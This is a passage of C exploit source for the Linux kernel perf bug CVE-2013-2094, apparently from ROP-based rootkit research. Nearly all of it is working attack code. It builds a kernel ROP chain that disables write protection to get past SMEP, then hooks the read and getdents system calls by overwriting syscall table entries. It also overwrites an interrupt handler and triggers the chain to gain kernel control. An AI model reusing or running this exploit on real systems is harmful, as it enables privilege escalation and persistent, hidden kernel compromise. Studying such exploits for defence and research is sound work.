    add_to_fake_stack(0xffffffff81801320, &init_stack, &init_stack_size);     // sys_call_table["read"]

    // Move the address we want to overwrite it with into RAX.
    // In our case we want to use a sysenter instruction as the value
    // such that sysenter is executed on every invocation of the read
    // system call.
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET
    add_to_fake_stack(0xffffffff8138e98d, &init_stack, &init_stack_size);     // Address of a sysenter instruction

    // This actually sets the hook by overwriting the entry in the
    // syscall table with an address of a sysenter instruction. 
    // The sysenter instruction will fire off our persistent copy chain
    // within the kernel.
    add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size);     // MOV [RSI],RAX;
                                                                              // XOR EAX, EAX;
                                                                              // RET;
   
    // -----------------------------------------------------------------
    // Modify SYS_GETDENTS
    // -----------------------------------------------------------------
    // Next we overwrite the SYS_GETDENTS system call address in the
    // system call table

    // Move the address of sys_call_table["getdents"] into RSI
    add_to_fake_stack(0xffffffff8139eaa6, &init_stack, &init_stack_size);     // POP RSI; RET
    add_to_fake_stack(0xffffffff81801590, &init_stack, &init_stack_size);     // sys_call_table["getdents"]

    // Move the address we want to overwrite it with into RAX.
    // In our case we want to use a sysenter instruction as the value
    // such that sysenter is executed on every invocation of the read
    // system call.
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET
    add_to_fake_stack(0xffffffff8138e98d, &init_stack, &init_stack_size);     // Address of a sysenter instruction

    // This actually sets the hook by overwriting the entry in the
    // syscall table with an address of a sysenter instruction. 
    // The sysenter instruction will fire off our persistent copy chain
    // within the kernel.
    add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size);     // MOV [RSI],RAX;
                                                                              // XOR EAX, EAX;
                                                                              // RET;

    // -----------------------------------------------------------------
    // Reenable the paging protections.
    // -----------------------------------------------------------------
    // We now reset the WP flag to reenable the protections. Since we did
    // not touch RDI and native_write_cr0() does not modify it, the
    // registers still contains the last value we wrote to CR0. We can
    // make use of this fact to restore the original value.

    // Move current CR0 value to RAX
    add_to_fake_stack(0xffffffff811c98e1, &init_stack, &init_stack_size);     // MOV RAX, RDI; RET;

    // Move mask to set WP flag into RDI
    add_to_fake_stack(0xffffffff810b2703, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x10000, &init_stack, &init_stack_size);                // Mask

    // This time add to set WP
    add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size);     // ADD RAX, RDI; RET

    // Write the CR0 back to CR0.
    // We again use a function for this purpose. Thus we must move the
    // value from RAX to RDI (first argument). Since we make use of an
    // add gadget for this purpose, we must set RDI to zero first,
    add_to_fake_stack(0xffffffff810b2703, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x0, &init_stack, &init_stack_size);                    // 0x0            

    // "Move" RAX to RDI
    add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size);     // ADD RDI, RAX;
                                                                              // MOV RAX, RDI;
                                                                              // RET;
    // Move address of "native_write_cr0" into RDX.
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
    add_to_fake_stack(0xffffffff81043eb0, &init_stack, &init_stack_size);     // Address of
                                                                              // "native_write_cr0()"

    // "call" native_write_cr0()
    add_to_fake_stack(0xffffffff812380eb, &init_stack, &init_stack_size);     // JMP RDX

    // ----------------------------------------------------------------
    // << PLACE HOOK ON SYS_READ AND SYS_GETDENTS DONE
    // ================================================================

 

    // ================================================================
    // >> EPILOG
    // ----------------------------------------------------------------
    // Return to userspace.
    // Reset GS segment
    add_to_fake_stack(0xffffffff816cb9cb, &init_stack, &init_stack_size); // SWAPGS
   
    // IRETQ for the win
    add_to_fake_stack(0xffffffff816cb56c, &init_stack, &init_stack_size); // IRETQ 
   
    // ----------------------------------------------------------------
    // << EPILOG DONE
    // ================================================================

    printf(" \t[*] Fake stack ready!\n");
    printf(" [!] Init stack size %ld bytes\n", init_stack_size);
}

/**
 * Trigger the exploit.
 *
 * This function will actually trigger the vulnerability.
 */
static void trigger(void)
{
    u64 rflags;
    u64 rsp;
    u64 rip;
    u64 cs;
    u64 ss;

    char *mem = 0;
    u32 i = 0;

    printf(" [+] Triggering exploit...\n");

    // Set up the fake frame for IRET
    printf(" \t[*] Getting register and segment information...\n");
    __asm__ __volatile__("mov %%rsp, %0;"
                         "lea (%%rip), %%rax;"
                         "mov %%rax, %1;"
                         "pushf;"
                         "pop %%rax;"
                         "mov %%rax, %2;"
                         "mov %%cs, %3;"
                         "mov %%ss, %4;"
                         : "=m"(rsp), "=m"(rip), "=m"(rflags), "=m"(cs), "=m"(ss)
                         :
                         : "%rax"
                         );

    // cs & ss segment only use the last 16 bits
    cs &= 0xffff;
    ss &= 0xffff;

    // We later on save some registers. We have to adjust the stack size for that
    rsp -= (7 * 8);

    // Search for the interrupt invocation to set the return address
    mem = (char *)rip;

    for(i = 0; i < 2000; i++)
    {      
            if (((*mem)  & 0xff) == 0xcd && (*(mem + 1) & 0xff) == INTERRUPT)
            {
                    rip += i + 2;
                    break;
            }

            mem++;
    }

    if (i == 2000)
    {
            error(-1, 0, " [!] Could not determine address of interrupt instruction!\n");
    }

    printf(" \t\t-> RIP 0x%llx\n", rip);
    printf(" \t\t-> RSP 0x%llx\n", rsp);
    printf(" \t\t-> RFLAGS 0x%llx\n", rflags);
    printf(" \t\t-> CS 0x%llx\n", cs);
    printf(" \t\t-> SS 0x%llx\n", ss);
   
    printf(" \t[*] Setting up fake frame for IRET...\n");  
    add_to_fake_stack(rip, &init_stack, &init_stack_size);      // Return address
    add_to_fake_stack(cs, &init_stack, &init_stack_size);       // CS
    add_to_fake_stack(rflags, &init_stack, &init_stack_size);   // Rflags
    add_to_fake_stack(rsp, &init_stack, &init_stack_size);      // RSP
    add_to_fake_stack(ss, &init_stack, &init_stack_size);       // SS

    // Save the current context
    printf(" \t[*] Saving context...\n");
    __asm__ __volatile__ (
                          "push %%rbp;"
                          "push %%rax;"
                          "push %%rbx;"
                          "push %%rcx;"
                          "push %%rdx;"
                          "push %%rdi;"
                          "push %%rsi;"
                         :
                         :
                         :
                         );
   
    // Set RBP to the fake init_stack, which will be invoked by leave;
    printf(" \t[*] Setting RBP to fake init_stack @ %p...\n", init_stack - init_stack_size);

    __asm__ __volatile__ ("mov %0, %%rbp;"
                          :
                          :"r"((u64)init_stack - init_stack_size)
                          :
                          );

    // Wait for the children
    printf(" \t[*] Waiting for children...");
    fflush(stdout);
    while(1)
    {
            if((*children_done) == child_index)
                    break;

            sleep(0.5);
    }

    printf("DONE!\n");

    // Trigger interrupt
    printf(" \t[*] Unleash the kraken!\n");
    __asm__ __volatile__ ("int $" INTERRUPT_STRING ";"
                          "pop %%rsi;"
                          "pop %%rdi;"
                          "pop %%rdx;"
                          "pop %%rcx;"
                          "pop %%rbx;"
                          "pop %%rax;"
                          "pop %%rbp;"
                          :
                          :
                          :
                          );

    printf(" [!] Exploit successful!\n");  

    (*parent_done) = 1;
}

/**
 * Every exploit needs an epic banner to be e1337.
 */
static void print_banner(void)
{
    printf("\n\n");
    printf(" ***************************************\n");
    printf(" *                                     *\n");
    printf(" *            CVE-2013-2094            *\n");
    printf(" *                                     *\n");
    printf(" *          ROP-CHUCKs revenge!        *\n");
    printf(" *                                     *\n");
    printf(" ***************************************\n\n\n");
}

/**
 * Well if you do not know what main is, you better close this file.
 */
int main(int argc, char *argv[])
{
    struct idt idt;
    //int i = 0;
    u64 offset;

    // For the lolz
    print_banner();
   
    printf(" [+] Overview\n");
    printf(" \t[*] We use a fixed address for perf_swevent_enabled (0x%lx)\n", PERF_SWEVENT_ENABLED);
    printf(" \t    (Similarly the address could be obtained dynamically as in the original exploit.)\n");
    printf(" \t[*] We setup a fake stack in userspace to circumvent SMEP.\n");
    printf(" \t[*] We overwrite the interrupt handler %d  and point it to a 'leave; ret;' instruction.\n", INTERRUPT);
    printf(" \t    This will load our userspace stack, which we place in RBP, into RSP and trigger our ROP chain.\n");
    printf("\n\n");

    printf(" [+] Getting the IDT...");
    __asm__ ("sidt %0"
            : "=m"(idt)
            :
            :
            );
    printf(" IDT @ 0x%lx\n", idt.addr);

    // Calculate the offset
    // This will hit the second entry in the IDT (#DB) !
    // Notice that the offset is increased in 24-bytes steps not in 4!
    printf(" [+] Calculating target offset...");
    offset = (PERF_SWEVENT_ENABLED - idt.addr  - (16 * INTERRUPT)) / 24;
    offset = -offset;
    printf(" Offset is %lld\n", offset);

    // Create payload fake stack
    create_payload_fake_stack(); 
   
    // Create dispatcher fake stack
    create_dispatcher_fake_stack(payload_stack, payload_stack_size); 

    // Create copy fake stack
    create_copy_fake_stack(dispatcher_stack, dispatcher_stack_size);

    // Create init fake stack
    create_init_fake_stack();

    // Number of increments
    increment((LEAVE_RET - INTERRUPT_HANDLER), 500, offset);
    printf(" DONE!\n");

    // DEBUG
    /*
    printf(" [+] Init fake stack - %ld bytes:\n", init_stack_size);
    for(i = 8; i <= init_stack_size; i += 8)
    {
            printf("\t[=] 0x%llx: 0x%llx\n", (u64)((u64 *)init_stack - (i/8)), *((u64 *)init_stack - (i / 8)));
    }
    */

    // Unleash the kraken
    trigger();

    return 0;
}